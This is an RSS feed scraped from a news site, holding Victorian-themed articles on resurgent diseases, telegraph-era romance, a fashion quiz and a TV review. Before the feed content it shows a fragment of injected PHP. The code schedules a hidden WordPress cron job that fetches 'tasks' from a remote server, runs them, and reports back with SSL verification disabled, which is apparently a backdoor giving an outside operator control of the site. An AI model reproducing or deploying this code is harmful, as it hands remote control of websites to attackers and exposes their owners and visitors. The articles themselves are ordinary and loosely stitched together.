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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Victorian – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 06 Oct 2018 00:43:11 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Victorian – Brief News https://briefnews.eu 32 32 Tuberculosis: Why did Victorian disease make a comeback? Is it declining? https://briefnews.eu/tuberculosis-why-did-victorian-disease-make-a-comeback-is-it-declining/ https://briefnews.eu/tuberculosis-why-did-victorian-disease-make-a-comeback-is-it-declining/#respond Sat, 06 Oct 2018 00:43:11 +0000 http://briefnews.eu/tuberculosis-why-did-victorian-disease-make-a-comeback-is-it-declining/

TUBERCULOSIS has been making a comeback in the UK, after being effectively eradicated in the 19th century. Why did Tuberculosis return and is it declining?

]]> https://briefnews.eu/tuberculosis-why-did-victorian-disease-make-a-comeback-is-it-declining/feed/ 0 A Victorian survivor https://briefnews.eu/a-victorian-survivor/ https://briefnews.eu/a-victorian-survivor/#respond Thu, 26 Apr 2018 01:33:54 +0000 http://briefnews.eu/a-victorian-survivor/

WHEN the Foreign & Colonial Government Trust was launched in 1868, The Economist had its doubts. “The shape is very peculiar,” we worried, adding that “the exact idea upon which it starts has never been used before.” Some of the trust’s promises were “far too sanguine to ever be performed”. Nevertheless, we concluded that: “In our judgment, the idea is very good.”

That turned out to be one of this newspaper’s more successful forecasts. One hundred and fifty years later, the trust is still going strong, having delivered a compound annual return of 8.1%. It now looks after a portfolio of £4bn ($ 5.7bn), rather than the £588,300 it raised at launch.

In its own way, the trust is an example of how much the financial sector has changed—and how much it has stayed the same. The idea of a pooled portfolio seems commonplace now, but at the time it was revolutionary.

This was the 19th century, when Britain was confident of its…

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RICKETS, TB and scurvy sound like the stuff of history books but official figures show such Dickensian diseases have recently been making a comeback.

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Many 19th century diseases were wiped out, but many seem to be making a worrying return

And while immunisation and treatments mean outbreaks are contained before they become the uncontrollable killers they once were, it is still alarming to see Victorian diseases in the headlines. 

Among the maladies currently having a resurgence are:

Rickets

“Rickets affects bone development in children and is caused by vitamin D deficiency,” says Dr Jeff Foster, GP at Spire Parkway Hospital, Solihull. With improvements in nutrition, the condition was considered all but eradicated.

However, 4,638 children admitted to NHS hospitals in 2013 and 2014 were found to be suffering from vitamin D deficiency, compared to 1,398 cases in 2009 and 2010. 

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Why is it on the rise? “Children spend less time outdoors so they have less exposure to sunlight – and vitamin D,” says Dr Foster. Poor diet is also a factor, he adds.

How do you catch it? You don’t. It’s caused by a lack of vitamin D, which is naturally produced in the skin by exposure to sunlight.

Symptoms: Pain in the legs because of weakened bones and muscles along with poor growth, deformity and a delay in teeth emerging in young children. 

Treatment: Regular calcium and vitamin D supplements. 

Who is at risk? Those who don’t get enough sunlight, have a deficient diet or who are over-vigilant about applying high-factor sunscreens and covering up before going outside. 

How to avoid it: Getting outside in sunlight for 15 to 20 minutes daily is enough to allow the body to produce vitamin D.

Eat foods rich in vitamin D, such as oily fish, eggs, liver and fortified cereals. Public Health England advises adults, and children from the age of one, to take a 10 microgram vitamin D supplement daily, particularly in autumn and winter.

Those with dark skin or with little exposure to the sun, such as care home residents or people who cover themselves outside, should take a supplement all year round. 

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Scarlet fever

Cases of this infection, caused by streptococcal bacteria, have soared to the highest level in England for 50 years, with more than 19,000 cases reported in 2016.

Why is it on the rise? It’s unclear. 

How do you catch it? It’s spread by coughs and sneezes or by touching infectious droplets.

Symptoms: “The initial symptoms are a sore throat, headache and fever,” says Dr Foster.

“After a few days a florid, red rash appears on the face and chest and the patient develops a red, swollen tongue.” 

Treatment: Antibiotics. Untreated, the disease can lead to pneumonia, throat abscesses, sinusitis, meningitis and sepsis. 

Who is at risk? Most cases occur in children under 10, although people of any age can get it. 

How to avoid it: This is difficult as it is highly contagious and by the time the telltale rash appears, many people will be infected. Wash and dry hands thoroughly and regularly. 

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The hallmark of Scarlet fever is a red, swollen tongue

Tuberculosis (TB)

“TB is caused by a bacterium,” says Dr Foster. In Victorian London this lung infection, that can also attack other parts of the body, accounted for one in five deaths. In England in 2016, there were 5,664 TB cases, 39 per cent of which were in London.

Why is it on the rise? A recent report claimed a “clear link” to migration, with 74 per cent of cases occurring in non-UK born people. Antibiotic resistance is another factor and the fact the BCG vaccine is no longer provided routinely.

How do you catch it? It’s passed on through coughing and sneezing. “One person with untreated TB can infect 15 other people in a year,” warns Dr Foster.

Symptoms: A persistent cough progressing to chest pain, breathlessness, night sweats and coughing up blood. In advanced TB there may be extreme weight loss.

Treatment: A two-pronged approach of antibiotics to treat the active disease and tracing to test, treat and vaccinate others who may have come into contact with it. 

Who is at risk? Although anyone can catch TB – even if vaccinated as a child – 60 per cent of adults with a healthy immune system can suppress the TB bacteria. People with compromised immunity, such as those with chronic health conditions, are at risk. 

How to avoid it: Good hygiene, a healthy diet and adequate ventilation are important factors. The vaccine is available to people at risk. 

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Scurvy

Scurvy, caused by vitamin C deficiency, used to affect sailors on long journeys who lacked fresh food in their diet for months on end. Although the number of cases remains small, the disease is on the increase in England. From 2009 to 2014, hospital admissions for scurvy rose by 27 per cent.

Why is it on the rise? “While we have access to an abundance of food, many people eat a diet high in junk food with little nutritional value, and no fruit and vegetables,” says Dr Foster.

How do you catch it? You don’t. It’s caused by a lack of vitamin C.

Symptoms: Anaemia and fatigue progresses and leads to painful limbs and swollen, spongy gums, which can eventually cause the teeth to fall out.

Treatment: Vitamin C supplements. 

Who is at risk? Children and the elderly with unhealthy diets or those dependent on alcohol or drugs. 

How to avoid it: Eat a healthy, balanced and varied diet that includes fresh fruit and vegetables. 

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Scurvey was common among sailors of old without access to vitamin C

Measles

Measles is the highly infectious viral disease that was virtually unstoppable in Victorian England. The MMR vaccination has dramatically reduced the number of deaths from measles, but cases are climbing again with outbreaks occurring among young people at large public events.

Why is it on the rise? Vaccination uptake has fallen, according to Dr Foster. “When a high percentage of the population is vaccinated it is difficult for contagious, infectious diseases to spread. This is called herd immunity and it protects the vulnerable, such as newborn babies, the sick and elderly.”

However, health scares have led many parents to decide against having their children vaccinated in recent years. 

How do you catch it? Through direct contact with an infected person or coughs and sneezes. 

Symptoms: Fever, a cough, runny nose and flu-like symptoms and sometimes Koplik spots, small greyish-white dots in the mouth. The telltale rash on the body appears two to four days later.

Treatment: Fluids and paracetamol to reduce the fever. Doctors can monitor for complications such as pneumonia and encephalitis (inflammation of the brain).

Who is at risk? About 90 per cent of children who have not been immunised will catch measles if they come into contact with an infected person. 

How to avoid it: Vaccination in at least 95 per cent of the population is needed to prevent outbreaks.

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Whooping cough

Although virtually wiped out in the 1950s following a nationwide vaccination programme, a whooping cough epidemic in 2012 saw more than 9,300 cases in England alone. Following a reduction in the number of cases, they rose again in 2015 and 2016.

Why is it on the rise? A drop in the uptake of immunisation.

How do you catch it? It’s spread by infected coughs and sneezes. 

Symptoms: Early cold-like symptoms (sore throat, sneezing, temperature and an irritating cough) for up to two weeks followed by long bursts of severe coughing and choking, then “whooping” when inhaling, and vomiting. It can last for about three months and is also known as the 100-day cough.

Treatment: Antibiotics.

Who is at risk? Although anyone can get the disease, it is most dangerous to newborn babies. 

How to avoid it: Vaccination. 

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Syphilis

Cases of this sexually transmitted disease, rampant in the Victorian era, have reached their highest levels in England since 1949. Numbers have almost doubled since 2012, according to Public Health England information. 

Why is it on the rise? Failure to practice safe sex, says Dr Foster. “Numbers of all STIs declined during the 90s because of public awareness campaigns about HIV. There is now less education about the dangers of unprotected sex.”

How do you catch it? Through unprotected sex. 

Symptoms: Sufferers may be symptom-free for years then a painless ulcer can develop followed by a flu-like illness. Untreated syphilis can lead to serious complications, including dementia, cardiovascular problems and paralysis.

Treatment: Antibiotics. All partners should also be tested and treated to prevent reinfection and spread.

Who is at risk? Anyone who has unprotected sex with multiple partners. 

How to avoid it: Use condoms, get regularly tested for STIs and avoid overlapping sexual relationships.

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A popular way to date in the 1800s was courtesy of the electrical telegraph

Down Fan unseen network, lovers exchange sweet nothings and messages hop swiftly between strangers seeking romance.

Far from describing the world of online dating in 2017, these love letters of the airways were winging their way to their chosen recipients more than 100 years ago.

They did so courtesy of the electrical telegraph which, during the last three decades of the 19th century, had revolutionised communication.

Messages tapped out by telegraph operators using Morse Code oiled the wheels of business, diplomacy – and romance.

Telegraph operators themselves used the opportunity to fl irt anonymously down the wire – the first people to seek love online a century before Sir Tim Berners-Lee invented the world wide web.

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These young men and women who left farms and fi shing villages to take up this new high-tech profession became unlikely icons and spawned a new genre of fiction: the telegraphic romance.

A Radio 4 documentary on Monday, Wired Love: A Romance Of Dots and Dashes – named after a best-selling novel of the genre – reveals how telegraph operators became pioneers in the equivalent of today’s online dating forums and chat rooms.

The telegraph has been called the Victorian internet. “The journey of an email as it hops from server to server mirrors the passage of a telegram from one telegraph office to the next. 

It allowed people to communicate instantly across great distances,” says Tom Standage, author of The Victorian Internet. “Governments and regulators tried and failed to control the new medium of telegraphy.

A technical sub-culture with its own customs and vocabulary was established. You got hype, scepticism, hackers, online romances, chat rooms, information overload.”

He cites telegraphy as the greatest communications tool since the invention of the printing press 500 years earlier.

Britain, which had much to gain by setting up a global messaging network to its empire outposts in India, Australia, New Zealand, Canada and east Africa, was at the forefront of developments in telegraphy.

Networks were expensive to set up and much of the fi nancing across the world was done by London bankers.

Sir William Fothergill Cooke and Charles Wheatstone put together the fi rst commercial telegraph in 1837.

This system didn’t use Morse Code, then in its infancy. Instead it employed needles on a board that could be moved to point to letters.

A year later, it was in use by Great Western Railway on the line from Paddington to West Drayton.

Wheatstone later patented the first practical automated system using Morse Code typed on to a perforated tape using a keyboard with messages transmitted at a rattling pace of 70 words a minute.

From the railways, telegraphy burst into general use and in 1870 the Post Offi ce took over commercial telegraphy.

It was the opening up of work as telegraphists to women, as well as men, that was to lead to romantic opportunities. 

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The first women telegraphists in England joined the Electric Telegraph Company in the 1850s and such was the demand for these roles that in 1860 the Telegraph School for Women was set up in London to train them.

Jennifer Phegley, author of Courtship And Marriage In Victorian England, says that by 1897 London alone had more than 300 telegraph offices open from 8am to 8pm, dealing with 30 million telegrams.

One third of the workforce was made up of women: 2,214 based in London.

Operators could listen in to other messages, essential so they knew when the wire was clear for them.

They were identified by a code with no reference to their gender.

However, skilled operators could deduce a lot by the way their colleagues tapped out messages, leading to much intrigue and speculation.

“It was thrilling for them to be in touch with unknown hands at distant keys,” says Laura Otis, author of Networking: Communicating With Bodies And Machines In the 19th Century.

“Intimately connected to the keys and wires that provided their raison d’etre, 19th-century telegraphers viewed their electric tongues and nerves as extensions of their own bodies.’”

In this somewhat feverish atmosphere it is not surprising that romances sprang up with some operators teasingly sending messages to unsuspecting colleagues further down the line.

In the documentary, Otis says: “Telegraphers could spoof colleagues by adapting someone else’s style in a message.

“They sometimes pretended to be of the other gender for fun. Telegraphy was really the first time people at a distance, who hadn’t met, could fall in love.

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“Telegraphy was more or less instantaneous, unlike posting a love letter.’”

Writers first began penning telegraphic romances for magazines, which functioned like trade periodicals but were full of heaving hearts and gossip.

An Irish immigrant to the US, William Johnston set up The Operator, with poems and articles written by a coterie of telegraph operators, all of them men.

Novels and anthologies of short stories set in the world of telegraphy followed.

One tale, published in the 1877 anthology, Lightning Flashes And Electric Dashes, imagines a male telegraphic operator on an out-of-town jaunt meeting a female of the same calling.

However she is being chaperoned by her parents. The pair begin to flirt in Morse Code, she using a window fastener to click out messages while he replies by tapping his pencil – all in front of her blissfully unaware parents. Which teenager hasn’t used social media or apps in the same sort of subterfuge?

Literary heavyweight Henry James, the American author who settled in London in 1869 and died there in 1916, sent many telegrams from the capital’s post offices.

His novella about a female telegraphist who deciphers clues to clients’ lives through their telegrams, In The Cage, was published in 1869.

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She becomes fascinated by messages she sends between a military man and a titled lady.

Her fantasies about intimacy with the upper classes are crushed however when she learns unfortunate truths about the illicit lovers and she decides to marry her unpolished suitor Mr Mudge.

While she may not have had writing skills comparable to James, telegraph operator Ella Cheever Thayer’s novel Wired Love, published in 1879 when she was 30, was the undoubted star of the genre, selling well for 10 years.

Like many telegraph operators in England, Boston-based Thayer was a middle class woman in an osten sibly working class occupation, as is her heroine, 18-year-old Nettie.

In the programme, excerpts from the novel highlight the similarities between love mediated then on the telegraph wire and now on the internet. Nettie is “catfished” when a stranger pretends to be the mysterious C, a telegrapher who has been sending her messages.

The hoaxer has “dreadful teeth, cheap jewellery and smells of musk”, she shrieks.

Presenter Lucy Hawking points out: “In the modern era, if you meet someone in an online chatroom your quick experience of intimacy may not translate into the real world.

It was the same for Nettie.” Who doesn’t love a happy ending, though? So it was that Nettie found romance with C in a novel (available on download) that eerily time travels across nearly 150 years.

Wired Love: A Romance Of Dots And Dashes. Radio 4, Monday 11am.

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You got: You always preferred to dress comfortably.

You would have often ditched your black suit with its hot, long, black frock coat for the a lighter-colored informal sack coat — or, you would have detested the corset and coverage of your everyday clothes, and felt much freer in your bathing suit.

You always preferred to dress comfortably.
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You got: You always pushed trends.

While some dresses were still blending horizontal and vertical stripes, you would have gone for a bold vertical stripe ~before~ it was actually cool. Or, as soon as suits started showing cutaways, you would have rushed to get have one made — with the lowest cutaway your tailor had ever seen.

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You got: You definitely loved to accessorize.

Whether you would have been a regular at the milliner’s (always requesting feathers, silk flowers, ribbons, birds, and any other decorations he had on offer) or you would have insisted on donning the appropriate hat, tie, watch, cane, and shoes anytime you left the house — your accessories would have always been perfect and appropriate.

You definitely loved to accessorize.
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You got: You didn’t care about the rules.

You would have been the first one at the hot party with his coat off, and you’d always be forgetting to wear your hat. Or, as soon as bustles began to drop in the 1890s you would have dropped yours entirely. And you were tired of being so damned hot all the time, so you would have asked your dressmaker for short sleeves on your new evening gown. (This is actually a photo of Lillie Langtry, an English actress and business owner who was a celebrity in her own right.)

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You got: Once you loved something, you wanted to love it forever.

When everyone started wearing suit jackets with cutaways in the late 1880s, you would have sometimes still worn your old jacket and checked pants. Or, when bustles began to drop in the 1890s, you would have still wanted to wear your full-bustled gown. Especially when you did things that made you happy, like sit for a portrait with your dogs!

Once you loved something, you wanted to love it forever.
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You got: You always stayed on the cutting edge of fashion.

When small cutaways and silk imperial ties came into vogue, and when dresses with smaller bustles were all the rage, you would have definitely had a new suit or dress made for your family portraits — and a new suit or dress made for everyone in your family, too.

You always stayed on the cutting edge of fashion.
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I understand it is all about the history of food and how we got where we are today, but sometimes you cannot help but get the impression the BBC turns itself into a giant playground in which people don silly clothes and make mud pies – or in this case barley twists, rose rock and fruit pastilles, among plenty of others. 

Yes this was the Victorian era, when food production went mass market (or at any rate, more industrialised than it had been until then), and in this programme we see the early signs of how food manufacturing developed into what it is today. 

It was the time when chocolate – previously only used as a drink – developed into a solidified form and the great confectionery companies, such as Rowntree’s, Cadbury and Fry’s sprung up as the “combination bar” – Rolo, Flake, Turkish Delight and Aero – began to appear. 

You could say we were also watching the origins of the nation’s obesity crisis but that is another tale. 

Meanwhile, our eager beaver quartet of cooks scurried around, oohing and aahing as they burnt themselves on molten toffee and broke their chocolates as they came out of a mould. 

They were also quite successful in producing chocolates in animal form, which we see in every conceivable shape and size in so many shops today. 

It all took place on a very agreeable set too. 

Far from being an industrial factory modelled on either a modern one or the 19th-century variety, it was centred on a mock-up of a Victorian sweet shop, complete with old-style scales and jars of gleaming sweets. 

The shop was actually reminiscent of the kind of places that still existed as late as the 1970s, in which great glass jars filled with every conceivable type of sugary luxury perched on the shelves. 

It no doubt took the producers back to scenes of their childhood. 

This was not just an exploration of the way they made sweeties a century or so ago (complete with the tedious concerns about adulterating foodstuffs and other right-on matters) but a trip down memory lane. 

The costumes and names of the products might have been a little bit different then but the producers were back in the good old days, when the world was still young and they were in a real life playground, not a BBC one. 

The novel In Remembrance Of Things Past is based on the whiff of a cake taking the author back into his childhood and something similar was going on here. 

It is usually women who are the focus of stories about adoption, being forced to give up their child in the face of a disapproving society, but LONG LOST FAMILY (ITV) was a salutary reminder that men can suffer too. 

Andy was one such example, having been forced to give up the son he had in the 1970s after not even being allowed to see his face. 

He and his wife Hazel had spent decades fostering other children but Andy had never forgotten the baby who grew up elsewhere. 

The reunion with John was immensely touching, all the more because both were men. 

That said, the programme featured the equally affecting tale of Mary, who spent years in care as a child and experienced terrible loneliness on the back of it. 

What a sad old world it is and what sadness some people suffer for most of their lives.

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